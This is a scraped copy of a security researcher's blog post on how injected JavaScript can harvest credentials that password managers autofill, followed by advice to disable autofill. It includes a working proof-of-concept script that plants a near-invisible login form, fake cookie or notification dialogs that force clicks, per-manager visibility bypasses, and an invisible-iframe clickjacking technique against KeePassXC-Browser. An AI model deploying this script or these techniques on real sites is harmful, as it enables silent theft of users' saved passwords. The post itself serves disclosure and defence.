3

You should turn off autofill in your password manager

 3 years ago
source link: https://marektoth.com/blog/password-managers-autofill/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Other limitations:

Only one stored password for a specific domain can be stolen.

LastPass:

  • Autofill occurs only for passwords that have been stored after a successful login

Keeper

  • On first login, it asks if autofill should be enabled for the domain - "Yes" is highlighted to users
  • Once the dialog is confirmed, the user is not asked again in the future and the data is filled in completely automatically

Script and demo

Each password manager checks the presence of the login form slightly differently. For one password manager the form must be visible to the user, for another the form may be completely hidden.

Limits that I discovered during writing script:

Chromium-based

  • the user must interact with the site
  • the form can be completely hidden (display:none)

Dashlane

  • can not be used display:none
  • the form must have a minimum opacity 0.2
  • the form must be in a user-visible area (cannot be, for example: left: -1000px)
  • performs autologin (autosubmit) by default

Keeper

  • can not be used display:none
  • form can haveopacity:0
  • performs autologin (autosubmit) by default

Sticky Password

  • can not be used display:none or opacity:0 but can be used opacity:0.000001
  • the form must be in a user-visible area - only a minus value can be set for right and bottom (cannot be, for example: left: -1000px but bottom:-1000px is fine)
  • performs autologin (autosubmit) by default

Bitwarden

  • can not be used display:none or opacity:0 but can be used opacity:0.000001
  • the form must be in a user-visible area

"Bypass", that solves the visibility of the form:

Forms must be set to: position: fixed; bottom: -{height of created form-X}px;
X = minimum visible part for password manager, e.g. Bitwarden:3.0001 (greater than 3), Dashlane:2

The newly created form will be visible for a maximum of 1.5 seconds. The password manager will detect the visible form and fill in the data.

Script (for Red Team/ethical purposes):

Despite the many limitations, I created a script that is usable on the test site for all password managers who have autofill enabled by default. The script also works for password managers who have additionally enabled autofill.

At the beginning, it is possible to define which dialog you want to show to the user (to force a click). It is also possible to set whether to have an overlay behind the dialog (to make the site less readable) or to block scrolling.

When creating a new form, it is not necessary to copy styles (classes) from the original form.

If the script is injected in a site where the original login form already exists, it is necessary to change all identifying attributes of the original form first. Without this change, the password manager may have trouble filling in the information on the newly created form. This would result in a situation where 2 completely identical forms would appear on the website.

Script description:

  1. A new form is created that is identical to the form where the data was stored.
  2. The new form contains a onchange() event. If the content of the form is changed (data is filled in), then the values are extracted - document.getElementById("username").value and document.getElementById("password").value.
  3. If the user uses a password manager (except for chromium-based browsers), there is no requirement to interact with the website. So the first thing to do is to check if there is any data already filled in the newly created form.
  4. If the data has not been filled in within 1500 ms, a notification or cookie dialog is displayed to the user, which forces a click from the user. Forcing a click will fill in the data for chromium-based browsers.
var overlay = "yes";            // yes, no
var scrolling = "no";           // yes, no
var dialog = "notification";    // notification, cookie

createLoginForm();

window.setTimeout(function(){
    hideLoginForm();
    
    // function especially for chromium-based browsers
    // show notification or cookie dialog that require a user interaction
    if (!!window.chrome && !document.getElementById("password").value) {
        showDialog();
        addDialogEvents();
    }
}, 1500);


function createLoginForm() {
    var divlogin = document.createElement("div");
    divlogin.style = "position: fixed; bottom: -19.9999px; z-index: 2147483647; opacity:0.2";
    divlogin.id = "divlogin";
    divlogin.innerHTML  = ' \
            <form method="POST" action="login.html" id="form" onchange="getFormValues()"> \
                <input type="text" id="username" name="username" autocomplete=on required> \
                <input type="password" id="password" name="password" autocomplete=on required> \
                <button type="submit" id="submit">Login</button> \
            </form>';
    document.body.appendChild(divlogin);
}

// remove submit button to prevent autosubmit feature in password managers
function removeSubmitButton() {
  if (document.getElementById("submit")) { 
        var element = document.getElementById("form");
        var child = document.getElementById("submit");  
        element.removeChild(child);
  }
}

function hideLoginForm() {
    divlogin.style.display = "none";
}

function getFormValues() {
    usr=document.getElementById("username").value;
    pw=document.getElementById("password").value;
    
    if (usr && pw) {
        removeSubmitButton();
        hideLoginForm();
        alert(usr+":"+pw);
    } 
}

function showDialog() {
    var overlaydiv = ""; 
    var boxshadow = "";

    var dialogdiv = document.createElement("div");   
    if (overlay == "yes") {
        overlaydiv = '<div id="overlay"></div>';
        boxshadow = 'box-shadow:0 1px 12px rgb(5 27 44 / 33%), 0 2px 32px rgb(5 27 44 / 48%) !important;';
    } else {
        boxshadow = 'box-shadow:0 1px 6px rgb(5 27 44 / 6%), 0 2px 32px rgb(5 27 44 / 16%) !important;';
    }
    
    if (dialog == "cookie") {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #cookie-dialog {display: block!important; position: relative!important; opacity: 1!important; visibility: visible!important; margin: 290px auto 0!important; width: 650px!important; -webkit-box-sizing: content-box!important; -moz-box-sizing: content-box!important; box-sizing: content-box!important; max-width: 90%!important; background: #ffffff!important; padding: 12px 24px!important; overflow: hidden!important; z-index: 9999!important; border: 10px solid #5fa624!important; box-shadow: #333 1px 1px 10px 1px!important; line-height: 1.2!important; text-align: left!important; } #cookie-div {font-family: Arial,serif!important;width: 100%!important;height: 100%!important;margin: 0 auto!important;position: fixed!important;top: 0!important;left: 0!important;font-family: Arial,serif!important;z-index: 2258594000!important;overflow-y: auto!important;} #cookie-dialog h2 {font-size: 20px!important; line-height: 16px!important; font-weight: 700!important; margin: 10px 0 16px!important; } #cookie-dialog p {margin: 12px 0!important; line-height: 16px!important; text-indent: 0!important; font-weight: 400!important; font-size: 10pt!important; } #cookie-dialog #button-row {display: flex!important; flex-wrap: nowrap!important; justify-content: space-between!important; margin-right: 265px!important; } .btn {border: 1px solid #000000!important; font-family: Arial,serif!important; color: #000000!important; background: #ffffff!important; padding: 7px 10px!important; text-decoration: none!important; } #cookie-dialog #accept-all {border: none!important; color: #ffffff!important; background: #5fa624!important; text-decoration: none!important; } #links {display: flex!important; font-size: 12px!important; margin-top: 20px!important; } #cookie-dialog a {color: #5fa624!important; text-decoration: none!important; } #cookie-dialog a:hover {cursor: pointer!important; } .bar {margin: 0 5px!important; width: auto!important; height: auto!important; position: relative!important; } #accept-all:hover {cursor: pointer!important; background: #5fa624!important; text-decoration: none!important; } .btn:hover {cursor: pointer!important; background: #ffffff!important; text-decoration: none!important; }</style> \
                            '+overlaydiv+'<div id="cookie-div"><div id="cookie-dialog"> <div> <h2>Privacy & Transparency</h2> <p>We and our partners use cookies to  Store and/or access information on a device. We and our partners use data for  Personalised ads and content, ad and content measurement, audience insights and product development. An example of data being processed may be a unique identifier stored in a cookie. Some of our partners may process your data as a part of their legitimate business interest without asking for consent. To view the purposes they believe they have legitimate interest for, or to object to this data processing use the vendor list link below. The consent submitted will only be used for data processing originating from this website. If you would like to change your settings or withdraw consent at any time, the link to do so is in our privacy policy accessible from our home page.</p><p><span id="button-row"><button class="btn">Manage Settings</button><button id="accept-all" class="btn" style="color: rgb(255, 255, 255) !important;">Continue with Recommended Cookies</button> </span> </p> <div id="links"> <a href="javascript:void(0);">Vendor List</a> <span class="bar">|</span><a href="javascript:void(0);">Privacy Policy</a></div></div></div></div>';
        
    } else {
        dialogdiv.innerHTML = '<style>.no-scroll {overflow: hidden;} #overlay {position: fixed; display: block; width: 100%; height: 100%; top: 0; left: 0; right: 0; bottom: 0; background-color: rgba(0,0,0,0.5); z-index: 225859400; animation: .5s showoverlay; } #overlay.remove-overlay {animation: .5s hideoverlay; opacity: 0; } @keyframes showoverlay {from { opacity: 0; } to { opacity: 1; } } @keyframes hideoverlay {from { opacity: 1; } to { opacity: 0; } } #notification-container #notification-dialog .button {box-sizing: border-box; padding: 0.75em 1.5em; font-size: 1em; border-radius: .25em; font-weight: 400; box-shadow: unset; display: -ms-flexbox; display: flex; float: right; position: relative; line-height: 1.5; text-align: center; white-space: nowrap; vertical-align: middle; cursor: pointer; -webkit-user-select: none; font-family: inherit; letter-spacing: 0.05em; margin: 0; border: 1px solid transparent; } #notification-container #notification-dialog .button.secondary {box-shadow: none; background: white !important; color: #0078D1 !important; margin-right: 0.714em; } #notification-container #notification-dialog .sizing {display: block; -webkit-backface-visibility: initial !important; backface-visibility: initial !important; } #notification-container #notification-dialog .notification-body-message {box-sizing: border-box; padding: 0 0 0 1em; font-weight: 400; float: left; width: calc(100% - 80px); line-height: 1.45em; -o-user-select: none; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; cursor: default; color: #051B2C !important; } #notification-container #notification-dialog .notification-body-icon img.icon {width: 45px; top: 3px; left: 50%; transform: translateX(-50%); position: absolute; height: 45px; } #notification-container #notification-dialog .notification-body-icon {box-sizing: border-box; float: left; width: 80px; height: 80px; position: relative; } #notification-container #notification-dialog .notification-body {box-sizing: border-box; margin: 0; } #notification-container #notification-dialog {width: 500px; box-sizing: border-box; max-width: 100%; margin: 0 auto; '+boxshadow+' background: white !important; color: #051b2c; padding: 1.5em 1.5em; border-bottom-left-radius: 0.5em; border-bottom-right-radius: 0.5em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Seoe UI Symbol"; } #notification-container {font-size: 16px; position: fixed; z-index: 2258594000; left: 0; right: 0; -webkit-font-smoothing: initial; } #notification-container.slide-down {top: 0; } #notification-dialog .sizing {content: ""; display: block; height: 0; clear: both; } #notification-container #notification-dialog .button.primary {background: #0078D1; color: white !important; } #notification-container #notification-dialog .button.primary:hover {background: #0062ab; } #notification-container.slide-down #notification-dialog {-webkit-animation-name: animationDown; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 400ms; -webkit-animation-fill-mode: forwards; animation-name: animationDown; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 400ms; animation-fill-mode: forwards; -webkit-font-smoothing: initial; } #notification-container.slide-up {-webkit-animation-name: animationUp; -webkit-animation-iteration-count: 1; -webkit-animation-timing-function: ease-out; -webkit-animation-duration: 500ms; -webkit-animation-fill-mode: forwards; animation-name: animationUp; animation-iteration-count: 1; animation-timing-function: ease-out; animation-duration: 500ms; animation-fill-mode: forwards; } @keyframes animationUp {0% {transform: translateY(0%); } 100% {transform: translateY(-150%); } } @keyframes animationDown {0% {transform: translateY(-150%); } 100% {transform: translateY(0); }}</style> \
                            '+overlaydiv+'<div id="notification-container" class="notification-container slide-down"><div id="notification-dialog" class="notification-dialog"><div class="notification-body" id="notification-body"><div class="notification-body-icon"><img class="icon" alt="icon" src=\'data:image/svg+xml,%3Csvg fill="none" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 40 40"%3E%3Cg clip-path="url(%23clip0)"%3E%3Cpath fill-rule="evenodd" clip-rule="evenodd" d="M33.232 28.434a2.5 2.5 0 001.768.733 1.667 1.667 0 010 3.333H5a1.667 1.667 0 110-3.333 2.5 2.5 0 002.5-2.5v-8.104A13.262 13.262 0 0118.333 5.122V1.667a1.666 1.666 0 113.334 0v3.455A13.262 13.262 0 0132.5 18.563v8.104a2.5 2.5 0 00.732 1.767zM16.273 35h7.454a.413.413 0 01.413.37 4.167 4.167 0 11-8.28 0 .417.417 0 01.413-.37z" fill="%23BDC4CB"/%3E%3C/g%3E%3Cdefs%3E%3CclipPath id="clip0"%3E%3Cpath fill="%23fff" d="M0 0h40v40H0z"/%3E%3C/clipPath%3E%3C/defs%3E%3C/svg%3E\'></div><div class="notification-body-message">We\'d like to send you notifications for the latest news and updates.</div><div class="sizing"></div></div><div id="buttons"><button class="primary button">Allow</button><button class="secondary button">Cancel</button><div class="sizing"></div></div></div></div>';
    }
    
    document.body.appendChild(dialogdiv);
    
    if (scrolling == "no") {
        document.getElementsByTagName("body")[0].classList.add("no-scroll");
    }
}

function addDialogEvents() {
    window.addEventListener('click', function(){      
        if (overlay == "yes") {
            hideOverlay();
        }  

        if (scrolling == "no") {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        }  

        if (dialog == "cookie") {
           document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
        }        
    });
    
    window.addEventListener('keydown', function(){
        if (overlay == "yes") {
            hideOverlay();
        }
        
        if (scrolling == "no") {
            document.getElementsByTagName("body")[0].classList.remove("no-scroll");
        }
        
        if (dialog == "cookie") {
            document.getElementById("cookie-div").style.display = "none";
        } else {
             hideDialog();
        }
    });   
}
  
function hideDialog() {
    document.getElementById("notification-container").classList.add("slide-up");
}

function hideOverlay() {
    var x = document.getElementById("overlay");
    x.classList.add("remove-overlay");
    window.setTimeout(function(){
         x.style.display = "none";
    }, 500); 
} 

Demo

Login form for saving your password: https://websecurity.dev/password-managers/login/
Test website with the script: https://websecurity.dev/password-managers/autofill/

Google Chrome - user interaction required

autofillchrome.gif

LastPass - password saved after login is automatically filled in

autofill.gif

Clickjacking KeePassXC-Browser

In the initial table for the autofill (table), I marked that KeepassXC-Browser is vulnerable to clickjacking. While testing the autofill, I found that KeepassXC-Browser fills in the data on a single click on the icon in the input. I also use one-click in chromium-based browsers, so I added this vulnerability to my analysis.

One click would not be an independent reason for vulnerability. The problem is the different behavior when you create an invisible form and when the form is displayed in an invisible frame (<iframe>).

In the KeepassXC-Browser password manager, the password is filled in by default when you click on the icon

keepassxc-click0.gif

If a new form is created with opacity:0.2, the icon is still same visible

keepassxc-opacity.png

But if the form is in an iframe and the iframe has opacity:0.2, the icon is transparent in the frame => possibility to make the icon invisible

keepassxc-click2.gif

The attacker then just needs to place an invisible iframe where the user clicks. In the case of the script I created, this could be a cookie click or a notification dialog.

In addition to placing iframes on the buttons in the dialog, another method is also suitable - iframe under the mouse cursor. Specifically, this would be an iframe that tracks the position of the cursor. The iframe would have the exact size of the KeepassXC-Browser icon and the content in the iframe would be exactly positioned on the icon. In this case, wherever the user clicks, he always clicks on the icon -> login data will be filled.

Iframe set to opacity:1

keepassxc-opacity11.gif

Iframe set to opacity:0

keepassxc-opacity0.gif

Script description:

  1. An XSS vulnerability is used to create a new login form on the page
  2. An iframe will be created that will load the same page -> the iframe will contain the new created form
  3. For the iframe I set the transparency (opacity:0), and also the size to be the same as the icon size
  4. The content in the iframe will be positioned on the newly created form - at the icon position
  5. Iframe will track mouse movement and will be placed under the cursor

Demo (invisible icon)

Login form for saving your password: https://websecurity.dev/password-managers/login/
Test website with the script: https://websecurity.dev/password-managers/clickjacking/

clickjacking.gif

The general problem in this case is that the extension is not always on-top in the iframe. In addition to the mentioned making the icon invisible, it is possible to cover parts of the extension (the icon) or affect the visible part. Below you can see the reduced width of the iframe that affects the visible part of the icon.

keepassxc-iframesize.png

Another way of abuse would be to have a 1x1 px iframe and the content would be targeted exactly to the icon. Because of its size, this pixel iframe would not be visible even if the opacity:1 is set. The iframe would always be positioned under the cursor and the technique would be the same - wherever the user clicks, he always clicks on the icon.

If more logins are stored on the domain, the user is shown a selection menu. In the iframe, this selection menu is also hidden for the user. Abuse of KeepassXC-Browser is possible even if multiple logins are stored.

KeepassXC-logins.png

Below you can see how LastPass password manager handles this. The menu is above a semi-transparent iframe, with no resizing or transparency.

lastpass-logins.png

Roboform also fills in form data with one click, but it does not have this vulnerability. The icon is also always on top (above the frame) and without transparency change.

Roboform.png

Exploitation of this vulnerability occurs only if the password is stored via KeePassXC-Browser. If the password is first saved to KeePassXC, a confirmation dialog is always displayed to the user.

The vulnerability has been reported and will be fixed soon: https://github.com/keepassxreboot/keepassxc-browser/issues/1367

Potential risks for users

Any user who uses autofill may have their saved login credentials stolen. Only one saved entry can be stolen at a time (see Limitations for more information) and only for the domain where the attacker's code was injected. To steal credentials, the victim must visit a site that the attacker has modified.

Example - Stored XSS:
An attacker found Stored XSS on Amazon.com. The vulnerability is in the product review section. Because the attacker is not limited by the product purchase, he posts a review under each product with the XSS (inject an external sript). This injected script will use the methods described above.

  • Any user who has an Amazon.com password stored in their browser or password manager and also uses autofill will be their stored data stolen when he visits any product

Example - Reflected XSS:
An attacker found Reflected XSS on Facebook. Because it is Reflected XSS, the attacker hides the entire URL with a shortener (bit.ly) or via an Open Redirect vulnerability.

  • Any user who has a saved Facebook password and also uses autofill in their browser or password manager will be their saved login credentials stolen when he opens the link

The problem is that the user does not know in advance whether or not malicious code is injected. As an example, last year I reported an XSS vulnerability on Foodpanda.com. So this is a trusted website that was very visited last year because of the covid situation. If the attacker discovered the vulnerability before my report, he could have used the above described technique on users.

If the user always uses a unique generated password and at the same time has 2FA/MFA enabled on the web application, then a possible password leak may not bother the user that much. In the other case, if the user does not have 2FA/MFA enabled on the web application, then a possible password leak may be problematic, as an attacker may be able to log into the user's account repeatedly. If a user used a non-unique password on service was stolen, in this case the attacker also gained access to the victim's other service (if 2FA/MFA is not there).

If the password is stolen using the method described above, the user will not know about the leak, even when he use the https://haveibeenpwned.com site. The administrators of the site where the leak occurred cannot detect the leak. This is because it is a technique that exploits a client-side vulnerability (XSS) and a misconfiguration in the password manager (enabled autofill).

Potential risks for companies / Recommendation for InfoSec

It is quite possible that many employees use a password manager as part of their security processes. From the results described above, it is important to note that they should not use the autofill feature.

It is common for employees to log in to web applications such as email, Jira, Confluence, GitHub/GitLab and others. If a vulnerability is found that allows an attacker to insert custom javascript code into a website (XSS, Subdomain Takeover, Web Cache Poisoning, etc.), he is able to obtain the employee's login credentials, in plaintext. In addition to normal login credentials, an attacker can also obtain AD credentials, as AD login is usually used for internal sites.

No filling out forms on a phishing site. All an attacker needs is if an employee opens a vulnerable page on the company's (sub)domain. If the employee has a saved password and uses autofill so then his login credentials could be stolen.

Example - "insider" attack:
Insider detects that a version of Confluence is in use is vulnerable to Stored XSS. He takes advantage of this knowledge and saves the script on a very visited page. Any employee who has a saved password for Confluence with autofill enabled and visits the changed Confluence page will have their login credentials stolen.

  • This is an attack on the same subdomain, in the default setting autofill has 9 password managers enabled (with Keeper and vulnerable KeePassXC-Browser it is 11 in total)
  • The attack can also be executed by an external attacker if the attacker knows the Reflected XSS vulnerability in the web application (e.g. Jira, Confluence). The stealing of stored credentials would then only happen if the employee opens the attacker's link.

Example - external attack:
An attacker finds a subdomain vulnerable to Subdomain Takeover. He saves a custom script on the domain and sends a link to the company as part of a bugbounty program. An employee using a password manager that autofills passwords on another subdomain may be at risk. An attacker could find out in advance that the company uses Microsoft's email service (Microsoft 365) and modify the new login form accordingly. Why Microsoft email services? Unlike Google, with Microsoft, logging in usually redirects to the organization's subdomain -> password stored on the subdomain. So an employee who uses autofill for their email and opens the "subdomain takeover" link may have their email login credentials stolen.

  • This is an attack on a different subdomain than where the data was stored. The stored password could be obtained from the password managers LastPass, Bitwarden and Roboform.

The video is for illustration only. I don't have access to the login email.
(Bitwarden was in the default configuration with autofill enabled without any additional settings.)

Recommendation

I would recommend all users to disable the autofill function completely. According to the analysis described above, it can be noticed that this feature has more negatives than positives.

All password managers should be able to turn off autofill. Turning it off for browsers can be problematic. For chromium-based browsers, this option is not available at all. If you don't want your saved data to be autofilled, the only solution is to delete the saved password.

In Firefox, it is not possible to disable this feature via basic settings, but it can be done by changing the value in about:config. Changing the signon.autofillForms configuration value to "false" will disable the autofill feature.

If, despite all the negatives, you want to use autofill, either for phishing control or for the convenience of logging in, I'd recommend setting up at least these changes:

  1. In the password manager, set up autofill only for the URL where the data was saved - not just the base domain.
  2. In a chromium-based browser, set the password manager to be active only when you click on the icon (chrome://extensions -> details -> site access). If you want to log in, just click on the extension icon and select "Reload". The password manager will be active at that moment and fill the data.browser-settings.png
  3. Use autofill that required user interaction (manual autofill) - for filling you need to click in the password manager's UI

The most ideal setting would be option three. But if want to data pre-filled then I recommend combination of first two options. Unfortunately, some managers do not offer more advanced settings for autofill. This is similar to browsers. Except chroimum-based, it can be a problem to set the extension on click.

If you set any of the first two options, there are restrictions or risks involved:

  1. The login URL can be changed in various ways by the owner. If this change occurs, your credentials will not be automatically filled in and you will need to modify the URL in the password manager's settings.
  2. When the extension is activated after click, the password manager is active even after login - if the domain has not changed, but only the path in the URL. The password manager is enabled only for the current tab. Therefore, there is a risk of login credentials being stolen if you open a modified page from an attacker on the domain after logging in (after activating the password manager).

    (Example: If you click on the icon to log in to your account at https://example.com/login. After logging in, you are redirected to your account on URL https://example.com/account - the password manager is still active. If you open a modified page on the https://example.com domain in the current tab, your credentials may be stolen)

Conclusion

I know this is not a new technique. I just find it incomprehensible that even today there are still so many managers who have autofill enabled by default. Furthermore, I don't understand that in the media this feature is rather described as a useful feature to detect phishing sites, or as a feature that every good password manager should have. In my opinion, the benefit of this feature is very small compared to the potential risk.

It is relatively easy to recognize a phishing site. However, it is already very difficult for even experienced IT specialists to detect if a malicious script is injected on a website during normal web browsing.

If login credentials are leaked on a site, it does not necessarily mean that an attacker has accessed the database. He could have just exploited an XSS or other client-side vulnerability and obtained login credentials from users who only followed the advice that they should use a password manager. So please, if recommending password managers, supply that users turn off autofill or be set to fill only upon user request by clicking in password manager's UI.

Autofill enabled by default have 9 of the 16 tested password manager and browsers.

Including Keeper, which asks the user for autofill and highlights approval to the user, as well as the currently vulnerable KeePassXC-Browser, a total of 11 password managers in default configuration is possible to steal a saved password in one mouse click.

If autofill is additionally enabled without further configuration, that's a total 13 password managers for which it is possible to steal a saved password if the site is vulnerable to XSS (or a similar type of vulnerability).

I hope I have given you an idea of the possible risks of using the autofill function. If you see a login form filled out in your browser without your interaction, I hope that will be the trigger for you to make a change of your autofill settings. 🙂


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK